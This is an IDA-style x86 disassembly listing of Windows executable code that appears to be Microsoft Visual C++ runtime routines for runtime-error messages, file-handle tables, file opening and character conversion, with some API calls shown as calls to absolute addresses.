		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C98C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C98C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2630000h
		push	eax
		nop
		call	near ptr 26E0000h

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC600

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC700
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC700, 20h
		lea	ecx, ds:4DC600h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2F4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 26204DAh

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC700
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2F4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 26204DAh

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2670D55h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB2AC, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5E0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5E0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5E0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43CA18

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB5C8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC98
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43CA28

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC600[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA88
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2E8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB490
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB5A0, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB2A8, 16h
		mov	dword_4DB2AC, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB2B0
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F097Dh
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 2620759h
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 2650939h
		nop

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2670D55h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB2AC, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB498
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 2610074h
		nop
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	ebx
		nop
		call	near ptr 26107E6h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB498, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB364

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 26107E6h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2800000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2800000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610074h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB364, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C534
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB374
		nop
		call	near ptr 27F104Eh
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB364, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C328
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C534
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2800000h
		test	eax, eax
		mov	eax, dword_43C534
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
